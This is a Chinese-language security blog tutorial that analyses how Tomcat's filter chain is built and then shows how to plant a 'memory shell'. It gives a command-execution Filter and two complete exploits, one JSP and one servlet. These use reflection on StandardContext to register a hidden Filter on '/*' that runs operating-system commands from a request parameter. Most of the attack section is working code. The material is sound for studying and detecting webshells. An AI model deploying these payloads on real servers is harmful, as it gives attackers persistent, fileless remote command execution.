项目搭建
法一
有些基本步骤见上篇(基础篇)
我这里踩了好多坑,有很多地方大家需要注意的:

web.xml:
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filter</filter-name> <filter-class>com.xiaofuc.filter</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping></web-app>
|
pom.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>Web</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.1.9.RELEASE</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>2.5</version> </dependency> <dependency> <groupId>javax.servlet.jsp</groupId> <artifactId>jsp-api</artifactId> <version>2.2</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.100</version> <scope>provided</scope> </dependency> </dependencies>
</project>
|
为了防止Tomcat服务器终端在输出中文时变成乱码,在编辑配置里加上:

法二(推荐)
新建项目的时候直接选择Jakarta EE

下一步中,点击规范,勾选Servlet即可。

!!!注意,Tomcat的版本需要10+,不然之后会运行不起来。
Tomcat Filter分析
前置分析
先分析下web.xml里面有关filter的部分:(看注释)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="https://jakarta.ee/xml/ns/jakartaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="https://jakarta.ee/xml/ns/jakartaee https://jakarta.ee/xml/ns/jakartaee/web-app_6_0.xsd" version="6.0"> <filter> <filter-name>111</filter-name> <filter-class>com.xiaofuc.filtershell.HelloFilter</filter-class> </filter> <filter-mapping> <filter-name>111</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
|
HelloFilter.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.xiaofuc.filtershell;
import jakarta.servlet.FilterChain; import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpFilter; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
public class HelloFilter extends HttpFilter {
@Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws ServletException, IOException { System.out.println("准备启动过滤"); chain.doFilter(req, res); System.out.println("过滤已结束"); } }
|
HelloServlet.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.xiaofuc.filtershell;
import java.io.*;
import jakarta.servlet.http.*; import jakarta.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
System.out.println("Servlet,启动!"); } }
|
我们在访问/hello-servlet路由时,会发现:

结论:
在访问路由对应路由时,过滤器先收到请求,执行doFilter()
。
触发chain.doFilter()
,chain.doFilter将请求转发给过滤器链下一个filter,如果没有filter那就是转发给Servlet。(这里的原理见后面的正向分析)
Filter低等马实现(理论)
为什么说是理论?
因为我们不可能在真实的情境中,写一个Filter对象在目标的代码中,并且还调整其web.xml配置。
经过上面的分析,我们肯定能想到一些基本的利用思路:
把马写在doFilter()
中,再通过方式来调整web.xml中的filter配置,在访问路由时触发。
注意!
我们在利用低等马的时候,需要进入到filter与servlet同时包含的路由中才能触发。
实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.xiaofuc.filtershell;
import jakarta.servlet.FilterChain; import jakarta.servlet.ServletException; import jakarta.servlet.ServletRequest; import jakarta.servlet.ServletResponse; import jakarta.servlet.http.HttpFilter;
import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
public class Filter_ma1 extends HttpFilter {
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { Process exec = Runtime.getRuntime().exec(request.getParameter("cmd")); InputStream inputStream = exec.getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\A"); String output = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(output); response.getWriter().flush();
chain.doFilter(request, response); } }
|

接下来,我们来探究如何实现内存马:
Filter正向分析
断点下这里,把碍事的print语句去掉。

跟进,ApplicationFilterChain#doFilter()->internaldoFilter()

internalDofilter()
:


通过下面的变量展示,我们可以对ApplicationFilterChain#filters
建立初步印象:
是一个装着filiter元素的数组,第一个很明显是我们构造的filter,第二个应该是Tomcat自带的filter。
接下来的操作大概就是从filters数组中取出元素,然后做一些巴拉巴拉的操作。
pos变量一开始是1,所以取出的是Tomcat的filter。
internaldoFilter()->filter.doFilter()

接着跟没跳转到源码,应该是对Tomcat的filter执行doFilter()操作,具体内容不知道,也无需知道。
接着又会回到ApplicationFilterChain#doFilter()->internaldoFilter()
:

这一次不会再走进if语句了,直接else出来。
接着会走到这里:

之后不用看了。
我们得出结论:
ApplicationFilterChain类就是第一个调用器,它的调用结构是一层一层地调用filter元素的doFilter()方法而进行的。
最后一个filter元素会调用到:servlet.service()
,即调用Servlet进行处理。
疑问:ApplicationFilterChain到底从哪里来的呢?继续往下看。
Filter逆向分析

断点还是下在这里,别步入,先观察调用栈:

我们关注一下自下而上最后一个invoke:StandardWrapperValve#invoke()

在这个方法中,我们看到了filterChain的来源。
跟进到createFilterChain方法:
第89行,关注下这个filterMaps变量:


filterMaps数组存放着多个filterMap,filterMap中存储着filter名字以及捕获url范围等信息。
继续往下看:

我们现在addFilter()这里下断点,看看filterConfig里的内容:

记住这三个重要的变量,而且我们很明显能看到filterDef里装着的就是我们web.xml关于filter的配置。
再看看addFilter():

回想下前面正向分析的时候,这个filters数组中的元素原来装的就是filterConfig。
filterConfig是由context.findFilterConfig()
返回来的。

context是StandardContext类的对象,看看findFilterConfig():

filterConfigs是一个HashMap:

之后不用看了。
总结
关于filter:
1 2 3 4 5 6 7
| FilterDefs(装在FilterConfig中):存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例 等基本信息 FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter 对象等信息 FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对 应的 URLPattern
只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter了
|
Filter内存马攻击思路
真正的内存马实现:
找到注入点,动态地在内存中创建Filter对象
需要构造恶意的FilterConfig以及FilterMaps,这里需要用到StandardContext类。
前置知识(了解即可)
后面构造EXP时,我们要用到它们:
ServletContext:
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。
ApplicationContext:
org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。
StandardContext:
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.catalina.core.ApplicationContextFacade" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.HashMap" %> <%@ page import="java.io.IOException" %> <% ServletContext servletContext = request.getServletContext(); ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext; Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context"); applicationContextFacadeContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade); Field applicationContextContext = applicationContext.getClass().getDeclaredField("context"); applicationContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); HashMap hashMap = (HashMap) filterConfigs.get(standardContext); String filterName = "Filter"; if (hashMap.get(filterName)==null){
Filter filter = new Filter() { @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { servletRequest.setCharacterEncoding("utf-8"); servletResponse.setCharacterEncoding("utf-8"); servletResponse.setContentType("text/html;charset=UTF-8"); filterChain.doFilter(servletRequest,servletResponse); System.out.println(servletRequest.getParameter("shell")); Runtime.getRuntime().exec(servletRequest.getParameter("shell")); System.out.println("过滤中。。。"); }
}; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(filterName); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
hashMap.put(filterName,applicationFilterConfig); response.getWriter().println("successfully"); } %>
|
构造思路
- 获取当前ServletContext对象
- 通过该对象获取filterConfigs
- 自定义恶意filter对象
- 为恶意filter对象创建FilterDef
- 将ServletContext对象 filter对象 FilterDef全部都设置到filterConfigs
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| public class InjectMemoryServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Field Configs = null; Map filterConfigs; try { ServletContext servletContext = req.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String FilterName = "cmd_Filter"; Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(FilterName) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor declaredConstructors = FilterDef.getDeclaredConstructor(); FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o); Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor(); org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); o1.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(o1); Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class); declaredConstructor1.setAccessible(true); ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o); filterConfigs.put(FilterName,filterConfig); resp.getWriter().write("Success"); } } catch (Exception e) { e.printStackTrace(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } }
|
小踩坑&注意事项
在本地演示的时候,记得Servlet代码的捕获路由不能为:/*

否则发送至shell.jsp的请求会被拦截,直接交给Servlet代码进行处理,导致内存马不执行。